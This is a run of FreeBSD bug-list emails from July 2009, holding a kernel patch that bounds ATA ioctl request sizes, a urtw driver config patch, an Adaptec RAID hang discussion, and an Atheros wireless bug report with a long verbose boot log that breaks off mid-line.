http://www.freebsd.org/cgi/query-pr.cgi?pr=136808 From owner-freebsd-bugs@FreeBSD.ORG Thu Jul 16 19:50:05 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 16AA61065675 for ; Thu, 16 Jul 2009 19:50:05 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 049CB8FC1A for ; Thu, 16 Jul 2009 19:50:05 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6GJo4dl005083 for ; Thu, 16 Jul 2009 19:50:04 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6GJo4as005081; Thu, 16 Jul 2009 19:50:04 GMT (envelope-from gnats) Date: Thu, 16 Jul 2009 19:50:04 GMT Message-Id: <200907161950.n6GJo4as005081@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org From: dfilter@FreeBSD.ORG (dfilter service) Cc: Subject: Re: kern/136726: commit references a PR X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: dfilter service List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jul 2009 19:50:06 -0000 The following reply was made to PR kern/136726; it has been noted by GNATS. From: dfilter@FreeBSD.ORG (dfilter service) To: bug-followup@FreeBSD.org Cc: Subject: Re: kern/136726: commit references a PR Date: Thu, 16 Jul 2009 19:48:53 +0000 (UTC) Author: mav Date: Thu Jul 16 19:48:39 2009 New Revision: 195724 URL: http://svn.freebsd.org/changeset/base/195724 Log: Limit IOCATAREQUEST ioctl data size to controller's maximum I/O size. It fixes kernel panic when requested size is too large (0xffffffff), PR: kern/136726 Approved by: re (kib) MFC after: 2 weeks Modified: head/sys/dev/ata/ata-all.c Modified: head/sys/dev/ata/ata-all.c ============================================================================== --- head/sys/dev/ata/ata-all.c Thu Jul 16 17:31:23 2009 (r195723) +++ head/sys/dev/ata/ata-all.c Thu Jul 16 19:48:39 2009 (r195724) @@ -472,6 +472,7 @@ int ata_device_ioctl(device_t dev, u_long cmd, caddr_t data) { struct ata_device *atadev = device_get_softc(dev); + struct ata_channel *ch = device_get_softc(device_get_parent(dev)); struct ata_ioc_request *ioc_request = (struct ata_ioc_request *)data; struct ata_params *params = (struct ata_params *)data; int *mode = (int *)data; @@ -481,6 +482,10 @@ ata_device_ioctl(device_t dev, u_long cm switch (cmd) { case IOCATAREQUEST: + if (ioc_request->count > + (ch->dma.max_iosize ? ch->dma.max_iosize : DFLTPHYS)) { + return (EFBIG); + } if (!(buf = malloc(ioc_request->count, M_ATA, M_NOWAIT))) { return ENOMEM; } _______________________________________________ svn-src-all@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/svn-src-all To unsubscribe, send any mail to "svn-src-all-unsubscribe@freebsd.org" From owner-freebsd-bugs@FreeBSD.ORG Thu Jul 16 21:50:06 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 38F731065676 for ; Thu, 16 Jul 2009 21:50:06 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id EDBAB8FC20 for ; Thu, 16 Jul 2009 21:50:05 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6GLo5xK096510 for ; Thu, 16 Jul 2009 21:50:05 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6GLo5eA096509; Thu, 16 Jul 2009 21:50:05 GMT (envelope-from gnats) Resent-Date: Thu, 16 Jul 2009 21:50:05 GMT Resent-Message-Id: <200907162150.n6GLo5eA096509@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Rob Farmer Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B086A1065672 for ; Thu, 16 Jul 2009 21:44:53 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 9E1388FC1C for ; Thu, 16 Jul 2009 21:44:53 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6GLirT3088235 for ; Thu, 16 Jul 2009 21:44:53 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6GLirjJ088234; Thu, 16 Jul 2009 21:44:53 GMT (envelope-from nobody) Message-Id: <200907162144.n6GLirjJ088234@www.freebsd.org> Date: Thu, 16 Jul 2009 21:44:53 GMT From: Rob Farmer To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: kern/136827: config: Error: device "urtw" is unknown X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jul 2009 21:50:06 -0000 >Number: 136827 >Category: kern >Synopsis: config: Error: device "urtw" is unknown >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Thu Jul 16 21:50:05 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Rob Farmer >Release: FreeBSD 8.0-BETA2 >Organization: none >Environment: FreeBSD rfarmer.local 8.0-BETA2 FreeBSD 8.0-BETA2 #0: Thu Jul 16 00:49:35 PDT 2009 robert@rfarmer.local:/usr/obj/usr/src/sys/RFARMER amd64 >Description: urtw(4) man page says adding: device urtw to a kernel config should build urtw in. I get: config: Error: device "urtw" is unknown >How-To-Repeat: Try to build a kernel with "device urtw" >Fix: Add entry for urtw to /usr/src/sys/conf/files Patch attached with submission follows: *** ../files 2009-07-16 09:06:48.000000000 -0700 --- files 2009-07-16 09:05:23.000000000 -0700 *************** *** 1625,1634 **** --- 1625,1635 ---- # USB WLAN drivers # dev/usb/wlan/if_rum.c optional rum dev/usb/wlan/if_uath.c optional uath dev/usb/wlan/if_ural.c optional ural + dev/usb/wlan/if_urtw.c optional urtw dev/usb/wlan/if_zyd.c optional zyd # # USB serial and parallel port drivers # dev/usb/serial/u3g.c optional u3g >Release-Note: >Audit-Trail: >Unformatted: From owner-freebsd-bugs@FreeBSD.ORG Thu Jul 16 22:58:08 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 10143106564A; Thu, 16 Jul 2009 22:58:08 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id D97FA8FC08; Thu, 16 Jul 2009 22:58:07 +0000 (UTC) (envelope-from linimon@FreeBSD.org) Received: from freefall.freebsd.org (linimon@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6GMw7u7049190; Thu, 16 Jul 2009 22:58:07 GMT (envelope-from linimon@freefall.freebsd.org) Received: (from linimon@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6GMw7mS049186; Thu, 16 Jul 2009 22:58:07 GMT (envelope-from linimon) Date: Thu, 16 Jul 2009 22:58:07 GMT Message-Id: <200907162258.n6GMw7mS049186@freefall.freebsd.org> To: linimon@FreeBSD.org, freebsd-bugs@FreeBSD.org, freebsd-usb@FreeBSD.org From: linimon@FreeBSD.org Cc: Subject: Re: usb/136827: [urtw] [patch] config: Error: device "urtw" is unknown X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jul 2009 22:58:08 -0000 Old Synopsis: config: Error: device "urtw" is unknown New Synopsis: [urtw] [patch] config: Error: device "urtw" is unknown Responsible-Changed-From-To: freebsd-bugs->freebsd-usb Responsible-Changed-By: linimon Responsible-Changed-When: Thu Jul 16 22:57:24 UTC 2009 Responsible-Changed-Why: Over to maintainer(s). http://www.freebsd.org/cgi/query-pr.cgi?pr=136827 From owner-freebsd-bugs@FreeBSD.ORG Thu Jul 16 23:10:04 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 027E2106568E for ; Thu, 16 Jul 2009 23:10:04 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id DAEB18FC21 for ; Thu, 16 Jul 2009 23:10:03 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6GNA3DO056236 for ; Thu, 16 Jul 2009 23:10:03 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6GNA3ha056235; Thu, 16 Jul 2009 23:10:03 GMT (envelope-from gnats) Date: Thu, 16 Jul 2009 23:10:03 GMT Message-Id: <200907162310.n6GNA3ha056235@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org From: Mark Linimon Cc: Subject: Re: kern/135408: [aac] Adaptec 5405 RAID controller hanging under high load +suggested fix X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Mark Linimon List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 16 Jul 2009 23:10:04 -0000 The following reply was made to PR kern/135408; it has been noted by GNATS. From: Mark Linimon To: bug-followup@FreeBSD.org Cc: Subject: Re: kern/135408: [aac] Adaptec 5405 RAID controller hanging under high load +suggested fix Date: Thu, 16 Jul 2009 18:01:18 -0500 ----- Forwarded message from Yuri Gorchakov ----- From: Yuri Gorchakov To: Aleksandr Stankevic Subject: Re: kern/135408: [aac] Adaptec 5405 RAID controller hanging under high load +suggested fix -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi all, yesterday I received a driver which shortly must by available online on Adaptec site and should fix the issue. Here I'm attaching it. I personally have't tried it yet in a production. Aleksandr Stankevic wrote: > On a 16 gb machine that's nothong near a real solution to me. Loosing > 13gb of ram is not what i want. > Also, i've tried using (previously i was using raid10) RAID5 on a test > box, and have run a lot of stress on it ( buildworld -j16, iozone, > bonnie++, backups and etc). It didn't crash on me yet. I'm in process of > moving the box to production to see if it won't crash there. > But even if it works, raid1/raid10 is what i, and imho most people, use, > so we need it fixed anyway. > > On 2009.07.14, at 08:21, Yuri Gorchakov > wrote: > > Hi all, > > yesterday I received a reply from a manager I bought the controller > from. He was emailing with Adaptec technical support in Russia and > suggested couple of things: > as a temporary workaround you can setup your BIOS to disable "Host > system Memory Mapped I/O above 4GB" , but note that not all BIOSes may > support it. Disadvantage of this is that RAM from 3,5 to 4GB will be > unavailable most probably. > Adaptec is now working on a release of 2.2.8-16891 driver which > suppose > to fix the issue. They promise to post it on their web site ASAP. - -- С уважением, Юрий ÐлекÑандрович Горчаков техничеÑкий ÑпециалиÑÑ‚ ÐºÐ¾Ð¼Ð¿Ð°Ð½Ð¸Ñ "iT POiNT" РоÑииÑ, г.ТомÑк ул.Ð Ð°Ð±Ð¾Ñ‡Ð°Ñ 11а, 634050 Email: yuri.gorchakov@point-group.ru info@point-group.ru WWW: http://point-group.ru **** Ð”Ð»Ñ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ‡Ð¸ конфиденциальной информации мне вы можете воÑпользоватьÑÑ ÐºÐ»ÑŽÑ‡Ð¾Ð¼ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ PGP, Ñкачав его http://point-group.ru/yuri.gorchakov@point-group.ru.pub.asc To send me confidencial information you may use PGP encryption key from http://point-group.ru/yuri.gorchakov@point-group.ru.pub.asc **** -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.12 (FreeBSD) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkpdUdAACgkQj73gq1RwjyjoqwCffF6FrzVp67ptb1djNvUWQ/dL +t0An2ARMc45ZraeIpSgrmIowafvGvQD =C/kT -----END PGP SIGNATURE----- ----- End forwarded message ----- From owner-freebsd-bugs@FreeBSD.ORG Fri Jul 17 03:30:05 2009 Return-Path: Delivered-To: freebsd-bugs@hub.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 55E201065673 for ; Fri, 17 Jul 2009 03:30:05 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:4f8:fff6::28]) by mx1.freebsd.org (Postfix) with ESMTP id 2A7D98FC17 for ; Fri, 17 Jul 2009 03:30:05 +0000 (UTC) (envelope-from gnats@FreeBSD.org) Received: from freefall.freebsd.org (gnats@localhost [127.0.0.1]) by freefall.freebsd.org (8.14.3/8.14.3) with ESMTP id n6H3U5v3053919 for ; Fri, 17 Jul 2009 03:30:05 GMT (envelope-from gnats@freefall.freebsd.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.14.3/8.14.3/Submit) id n6H3U5hD053917; Fri, 17 Jul 2009 03:30:05 GMT (envelope-from gnats) Resent-Date: Fri, 17 Jul 2009 03:30:05 GMT Resent-Message-Id: <200907170330.n6H3U5hD053917@freefall.freebsd.org> Resent-From: FreeBSD-gnats-submit@FreeBSD.org (GNATS Filer) Resent-To: freebsd-bugs@FreeBSD.org Resent-Reply-To: FreeBSD-gnats-submit@FreeBSD.org, Wes Morgan Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 80A8F106564A for ; Fri, 17 Jul 2009 03:22:17 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (www.freebsd.org [IPv6:2001:4f8:fff6::21]) by mx1.freebsd.org (Postfix) with ESMTP id 6DA928FC24 for ; Fri, 17 Jul 2009 03:22:17 +0000 (UTC) (envelope-from nobody@FreeBSD.org) Received: from www.freebsd.org (localhost [127.0.0.1]) by www.freebsd.org (8.14.3/8.14.3) with ESMTP id n6H3MGUo089451 for ; Fri, 17 Jul 2009 03:22:16 GMT (envelope-from nobody@www.freebsd.org) Received: (from nobody@localhost) by www.freebsd.org (8.14.3/8.14.3/Submit) id n6H3MGl9089450; Fri, 17 Jul 2009 03:22:16 GMT (envelope-from nobody) Message-Id: <200907170322.n6H3MGl9089450@www.freebsd.org> Date: Fri, 17 Jul 2009 03:22:16 GMT From: Wes Morgan To: freebsd-gnats-submit@FreeBSD.org X-Send-Pr-Version: www-3.1 Cc: Subject: kern/136836: atheros card stops functioning after about 12 hours uptime X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 17 Jul 2009 03:30:05 -0000 >Number: 136836 >Category: kern >Synopsis: atheros card stops functioning after about 12 hours uptime >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri Jul 17 03:30:04 UTC 2009 >Closed-Date: >Last-Modified: >Originator: Wes Morgan >Release: 8.0-BETA1 >Organization: >Environment: FreeBSD catalyst 8.0-BETA1 FreeBSD 8.0-BETA1 #1: Tue Jul 14 21:30:04 CDT 2009 root@catalyst:/usr/obj/usr/src/sys/CATALYST i386 >Description: Atheros 5212 card attaches, associates to a network and works fine for about 12 hours. Then the card seems to lose some functions. Restarting the device with "/etc/rc.d/netif restart" results in wpa_supplicant negotiating a key, but dhclient is unable to acquire a lease. The dhcp server indicates that it is receiving the requests and sending replies, but the client never receives them. Tcpdump of the device does show some broadcast traffic being received, which indicates that the card is associated and decrypting traffic. Manually assigning an IP address has no effect. Pings, traceroutes with tcp, udp and icmp all fail to show up on the network. Bringing the interface up and down has no effect. Removing the kernel module has no effect, with the ath0 interface itself lingering, sometimes causing a panic or freeze very shortly after (can't tell from X). Removing the card and re-attaching sometimes restores functionality. Verbose dmesg: Copyright (c) 1992-2009 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 8.0-BETA1 #1: Tue Jul 14 21:30:04 CDT 2009 root@catalyst:/usr/obj/usr/src/sys/CATALYST Preloaded elf kernel "/boot/kernel/kernel" at 0xb1183000. Preloaded elf module "/boot/kernel/zfs.ko" at 0xb1183248. Preloaded elf module "/boot/kernel/opensolaris.ko" at 0xb11832f0. Preloaded elf module "/boot/kernel/krpc.ko" at 0xb11833a0. Preloaded elf module "/boot/kernel/if_ath.ko" at 0xb118344c. Preloaded elf module "/boot/kernel/snd_hda.ko" at 0xb11834f8. Preloaded elf module "/boot/kernel/sound.ko" at 0xb11835a4. Preloaded elf module "/boot/kernel/coretemp.ko" at 0xb1183650. Preloaded /boot/zfs/zpool.cache "/boot/zfs/zpool.cache" at 0xb1183700. Preloaded elf module "/boot/kernel/acpi_toshiba.ko" at 0xb1183758. Preloaded elf module "/boot/kernel/acpi.ko" at 0xb118380c. Preloaded elf module "/boot/kernel/aio.ko" at 0xb11838b8. Preloaded elf module "/boot/modules/nvidia.ko" at 0xb1183960. Preloaded elf module "/boot/kernel/linux.ko" at 0xb1183a0c. Preloaded elf module "/boot/kernel/cpufreq.ko" at 0xb1183ab8. Timecounter "i8254" frequency 1193182 Hz quality 0 Calibrating TSC clock ... TSC clock: 1828760703 Hz CPU: Genuine Intel(R) CPU T2400 @ 1.83GHz (1828.76-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x6e8 Stepping = 8 Features=0xbfe9fbff Features2=0xc1a9 AMD Features=0x100000 TSC: P-state invariant Instruction TLB: 4 KB Pages, 4-way set associative, 128 entries Data TLB: 4 KB Pages, 4-way set associative, 128 entries Instruction TLB: 4 MB pages, fully associative, 2 entries 2nd-level cache: 2-MB, 8-way set associative, 64-byte line size 1st-level instruction cache: 32 KB, 8-way set associative, 64 byte line size Data TLB: 4 MB Pages, 4-way set associative, 8 entries 1st-level data cache: 32 KB, 8-way set associative, 64 byte line size L2 cache: 2048 kbytes, 8-way associative, 64 bytes/line real memory = 4294967296 (4096 MB) Physical memory chunk(s): 0x0000000000001000 - 0x000000000009efff, 647168 bytes (158 pages) 0x0000000000100000 - 0x00000000003fffff, 3145728 bytes (768 pages) 0x0000000001426000 - 0x00000000cc4aefff, 3406336000 bytes (831625 pages) avail memory = 3404038144 (3246 MB) Table 'FACP' at 0xcff90074 Table 'SSDT' at 0xcff97c5b Table 'BOOT' at 0xcff9004c Table 'APIC' at 0xcff98813 MADT: Found table at 0xcff98813 APIC: Using the MADT enumerator. MADT: Found CPU APIC ID 0 ACPI ID 0: enabled SMP: Added CPU 0 (AP) MADT: Found CPU APIC ID 1 ACPI ID 1: enabled SMP: Added CPU 1 (AP) ACPI APIC Table: INTR: Adding local APIC 1 as a target FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs FreeBSD/SMP: 1 package(s) x 2 core(s) cpu0 (BSP): APIC ID: 0 cpu1 (AP): APIC ID: 1 APIC: CPU 0 has ACPI ID 0 APIC: CPU 1 has ACPI ID 1 bios32: Found BIOS32 Service Directory header at 0xb00f02c0 bios32: Entry = 0xfca92 (b00fca92) Rev = 0 Len = 1 pcibios: PCI BIOS entry at 0xf0000+0xd9b3 pnpbios: Found PnP BIOS data at 0xb00f0a20 pnpbios: Entry = f0000:9833 Rev = 1.0 pnpbios: Event flag at 510 pnpbios: OEM ID b93cf351 Other BIOS signatures found: ULE: setup cpu 0 ULE: setup cpu 1 This module (opensolaris) contains code covered by the Common Development and Distribution License (CDDL) see http://opensolaris.org/os/licensing/opensolaris_license/ ACPI: RSDP 0xf01e0 00014 (v0 TOSHIB) ACPI: RSDT 0xcff90000 00044 (v1 TOSHIB A003B 20060821 TASM 04010000) ACPI: FACP 0xcff90074 00084 (v2 TOSHIB A003B 20060821 TASM 04010000) ACPI: DSDT 0xcff900f8 07B63 (v2 TOSHIB A003B 20070222 MSFT 0100000E) ACPI: FACS 0xeee00 00040 ACPI: SSDT 0xcff97c5b 00306 (v2 TOSHIB A003B 20060907 MSFT 0100000E) ACPI: BOOT 0xcff9004c 00028 (v1 TOSHIB A003B 20060821 TASM 04010000) ACPI: APIC 0xcff98813 00068 (v1 TOSHIB A003B 20060821 TASM 04010000) ACPI: MCFG 0xcff9887b 0003C (v1 TOSHIB A003B 20060821 TASM 04010000) ACPI: HPET 0xcff988b7 00038 (v1 TOSHIB A003B 20060821 TASM 04010000) ACPI: SLIC 0xcff98921 00176 (v1 TOSHIB A003B 20060821 TASM 04010000) ACPI: SSDT 0xcff98a97 00076 (v2 TOSHIB A003B 20060912 MSFT 0100000E) MADT: Found IO APIC ID 1, Interrupt 0 at 0xfec00000 ioapic0: Changing APIC ID to 1 ioapic0: Routing external 8259A's -> intpin 0 MADT: Interrupt override: source 0, irq 2 ioapic0: Routing IRQ 0 -> intpin 2 MADT: Interrupt override: source 9, irq 9 ioapic0: intpin 9 trigger: level lapic0: Routing NMI -> LINT1 lapic0: LINT1 trigger: edge lapic0: LINT1 polarity: high lapic1: Routing NMI -> LINT1 lapic1: LINT1 trigger: edge lapic1: LINT1 polarity: high ioapic0 irqs 0-23 on motherboard cpu0 BSP: ID: 0x00000000 VER: 0x00050014 LDR: 0x00000000 DFR: 0xffffffff lint0: 0x00010700 lint1: 0x00000400 TPR: 0x00000000 SVR: 0x000001ff timer: 0x000100ef therm: 0x00000200 err: 0x00010000 pcm: 0x00010000 wlan: <802.11 Link Layer> snd_unit_init() u=0x00ff8000 [512] d=0x00007c00 [32] c=0x000003ff [1024] feeder_register: snd_unit=-1 snd_maxautovchans=16 latency=5 feeder_rate_min=1 feeder_rate_max=2016000 feeder_rate_round=25 VESA: information block 56 45 53 41 00 03 00 01 00 01 01 00 00 00 22 00 00 01 00 08 72 05 07 01 00 01 1a 01 00 01 2f 01 00 01 00 01 01 01 02 01 03 01 04 01 05 01 0e 01 0f 01 11 01 12 01 14 01 15 01 17 01 18 01 ff ff VESA: 14 mode(s) found VESA: v3.0, 131072k memory, flags:0x1, mode table:0xb08fd5a2 (1000022) VESA: NVIDIA VESA: NVIDIA Corporation G72 Board - ndu10 Chip Rev crypto: mem: Pentium Pro MTRR support enabled null: io: random: npx0: INT 16 interface cryptosoft0: on motherboard crypto: assign cryptosoft0 driver id 0, flags 100663296 crypto: cryptosoft0 registers alg 1 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 2 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 3 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 4 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 5 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 16 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 6 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 7 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 18 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 19 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 20 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 8 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 15 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 9 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 10 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 13 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 14 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 11 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 21 flags 0 maxoplen 0 crypto: cryptosoft0 registers alg 17 flags 0 maxoplen 0 acpi0: on motherboard PCIe: Memory Mapped configuration base @ 0xf0000000 pcibios: BIOS version 2.10 ioapic0: routing intpin 9 (ISA IRQ 9) to lapic 0 vector 48 acpi0: [MPSAFE] acpi0: [ITHREAD] ACPI Error: Package List length (C) larger than NumElements count (1), truncated 20090521 dsobject-590 acpi0: Power Button (fixed) acpi0: wakeup code va 0xb6b4e000 pa 0x1000 acpi_bus_number: root bus has no _BBN, assuming 0 AcpiOsDerivePciId: \\_SB_.PCI0.FNC0.ICH3 -> bus 0 dev 31 func 0 acpi_bus_number: root bus has no _BBN, assuming 0 AcpiOsDerivePciId: \\_SB_.PCI0.EXCB.PEXB -> bus 0 dev 28 func 1 acpi0: reservation of 0, a0000 (3) failed acpi0: reservation of 100000, cfe90000 (3) failed ACPI timer: 1/1 1/1 1/1 1/1 1/1 1/1 1/1 1/1 1/1 1/1 -> 10 Timecounter "ACPI-fast" frequency 3579545 Hz quality 1000 acpi_timer0: <24-bit timer at 3.579545MHz> port 0xd808-0xd80b on acpi0 pci_link0: Index IRQ Rtd Ref IRQs Initial Probe 0 10 N 0 10 Validation 0 10 N 0 10 After Disable 0 255 N 0 10 pci_link1: Index IRQ Rtd Ref IRQs Initial Probe 0 11 N 0 3 4 5 6 7 11 Validation 0 11 N 0 3 4 5 6 7 11 After Disable 0 255 N 0 3 4 5 6 7 11 pci_link2: Index IRQ Rtd Ref IRQs Initial Probe 0 11 N 0 3 4 5 6 7 11 Validation 0 11 N 0 3 4 5 6 7 11 After Disable 0 255 N 0 3 4 5 6 7 11 pci_link3: Index IRQ Rtd Ref IRQs Initial Probe 0 11 N 0 3 4 5 6 7 11 Validation 0 11 N 0 3 4 5 6 7 11 After Disable 0 255 N 0 3 4 5 6 7 11 pci_link4: Index IRQ Rtd Ref IRQs Initial Probe 0 11 N 0 3 4 5 6 7 11 Validation 0 11 N 0 3 4 5 6 7 11 After Disable 0 255 N 0 3 4 5 6 7 11 pci_link5: Index IRQ Rtd Ref IRQs Initial Probe 0 11 N 0 3 4 5 6 7 11 Validation 0 11 N 0 3 4 5 6 7 11 After Disable 0 255 N 0 3 4 5 6 7 11 pci_link6: Index IRQ Rtd Ref IRQs Initial Probe 0 11 N 0 3 4 5 6 7 11 Validation 0 11 N 0 3 4 5 6 7 11 After Disable 0 255 N 0 3 4 5 6 7 11 pci_link7: Index IRQ Rtd Ref IRQs Initial Probe 0 11 N 0 3 4 5 6 7 11 Validation 0 11 N 0 3 4 5 6 7 11 After Disable 0 255 N 0 3 4 5 6 7 11 acpi_hpet0: iomem 0xfed00000-0xfed003ff on acpi0 acpi_hpet0: vend: 0x8086 rev: 0x1 num: 2 hz: 14318180 opts: legacy_route 64-bit Timecounter "HPET" frequency 14318180 Hz quality 900 pcib0: port 0xcf8-0xcff on acpi0 pci0: on pcib0 pci0: domain=0, physical bus=0 found-> vendor=0x8086, dev=0x27a0, revid=0x03 domain=0, bus=0, slot=0, func=0 class=06-00-00, hdrtype=0x00, mfdev=0 cmdreg=0x0006, statreg=0x2090, cachelnsz=0 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) found-> vendor=0x8086, dev=0x27a1, revid=0x03 domain=0, bus=0, slot=1, func=0 class=06-04-00, hdrtype=0x01, mfdev=0 cmdreg=0x0007, statreg=0x0010, cachelnsz=8 (dwords) lattimer=0x00 (0 ns), mingnt=0x08 (2000 ns), maxlat=0x00 (0 ns) intpin=a, irq=10 powerspec 2 supports D0 D3 current D0 MSI supports 1 message pcib0: matched entry for 0.1.INTA pcib0: slot 1 INTA hardwired to IRQ 16 found-> vendor=0x8086, dev=0x27d8, revid=0x02 domain=0, bus=0, slot=27, func=0 class=04-03-00, hdrtype=0x00, mfdev=0 cmdreg=0x0000, statreg=0x0010, cachelnsz=8 (dwords) lattimer=0x00 (0 ns), mingnt=0x00 (0 ns), maxlat=0x00 (0 ns) intpin=a, irq=255 powerspec 2 supports D0 D3 current D0 MSI supports 1 message, 64 bit map[10]: type Memory, range 64, base 0, size 14, memory disabled found-> vendor=0x8086, dev=0x27d0, revid=0x02 domain=0, bus=0, slot=28, func=0 class=06-04-00, hdrtype=0x01, mfdev=1 cmdreg=0x0007, statreg=0x0010, cachelnsz=8 (dwords) lattimer=0x00 (0 ns), 